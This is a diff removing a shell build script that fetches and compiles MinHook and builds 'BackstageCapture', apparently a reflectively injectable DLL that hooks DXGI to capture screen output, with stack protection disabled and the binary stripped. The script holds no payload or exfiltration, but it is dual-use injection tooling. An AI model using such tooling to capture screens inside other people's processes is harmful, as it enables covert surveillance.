- if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
- return 1
- fi
-
- if ! command -v git >/dev/null 2>&1; then
- echo "WARNING: git is not available; cannot auto-fetch MinHook."
- return 1
- fi
-
- echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
- local tmpdir
- tmpdir="$(mktemp -d)"
-
- if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
- rm -rf "$tmpdir"
- echo "WARNING: Failed to fetch MinHook source."
- return 1
- fi
-
- stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
- cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
- mkdir -p "$SRC_DIR/include" || true
- cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
- rm -rf "$tmpdir"
-
- [ -f "$MINHOOK_DIR/hook.c" ]
-}
-
-# --- Stage MinHook source ---
-if [ ! -d "$MINHOOK_DIR" ]; then
- if ! stage_minhook_from_static_dir && ! fetch_minhook; then
- echo "WARNING: MinHook source not found at $MINHOOK_DIR"
- echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
- echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
- MINHOOK_OBJS=""
- MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
- MINHOOK_INC=""
- fi
-fi
-
-if [ -d "$MINHOOK_DIR" ]; then
- if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then
- stage_minhook_from_static_dir || fetch_minhook || true
- fi
-fi
-
-if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then
- echo "Building MinHook from source ..."
- MINHOOK_OBJS=""
- MINHOOK_LIB=""
- MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
-
- if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then
- mkdir -p "$SRC_DIR/include" || true
- if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
- cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
- elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
- cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
- fi
- fi
-
- # MinHook is pure C — compile with gcc
- for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
- "$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \
- "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
- if [ -f "$src" ]; then
- obj="${src%.c}.o"
- "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
- MINHOOK_OBJS="$MINHOOK_OBJS $obj"
- fi
- done
-
- if [ -z "${MINHOOK_OBJS// }" ]; then
- echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
- MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
- MINHOOK_INC=""
- fi
-else
- MINHOOK_OBJS=""
- MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
- MINHOOK_INC=""
-fi
-
-# --- Compile BackstageCapture sources ---
-# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof
-CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
-CXXFLAGS="$CXXFLAGS -DBackstageCapture_EXPORTS -DWIN_X64"
-CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
-CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
-CXXFLAGS="$CXXFLAGS -fno-stack-protector"
-CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
-CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
-if [ -n "${MINHOOK_INC:-}" ]; then
- CXXFLAGS="$CXXFLAGS $MINHOOK_INC"
-fi
-
-# C flags for ReflectiveLoader (pure C, no C++)
-# Keep -fno-asynchronous-unwind-tables only for the loader shellcode
-LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
-LOADER_CFLAGS="$LOADER_CFLAGS -DBackstageCapture_EXPORTS -DWIN_X64"
-LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
-LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
-LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector"
-LOADER_CFLAGS="$LOADER_CFLAGS -fno-asynchronous-unwind-tables"
-LOADER_CFLAGS="$LOADER_CFLAGS -I$SRC_DIR"
-if [ -n "${MINHOOK_INC:-}" ]; then
- LOADER_CFLAGS="$LOADER_CFLAGS $MINHOOK_INC"
-fi
-
-echo "Compiling ReflectiveLoader.c ..."
-"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
-
-echo "Compiling ReflectiveDll.c (C++) ..."
-"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
-
-echo "Compiling DXGICapture.c (C++) ..."
-"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c"
-
-echo "Linking $DLL_NAME ..."
-LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o"
-if [ -n "${MINHOOK_OBJS:-}" ]; then
- LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
-fi
-LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi"
-if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
- LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
-fi
-
-"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
- -Wl,--entry,DllMain \
- -Wl,--disable-runtime-pseudo-reloc \
- -fno-stack-protector \
- -fno-exceptions -fno-rtti \
- -static-libgcc -static-libstdc++ \
- -s
-
-echo "Built: $OUT_DIR/$DLL_NAME"
-ls -la "$OUT_DIR/$DLL_NAME"
-
-# Clean up object files
-rm -f "$SRC_DIR"/*.o
-if [ -d "$MINHOOK_DIR" ]; then
- find "$MINHOOK_DIR" -name '*.o' -delete
-fi
-
-echo "Done."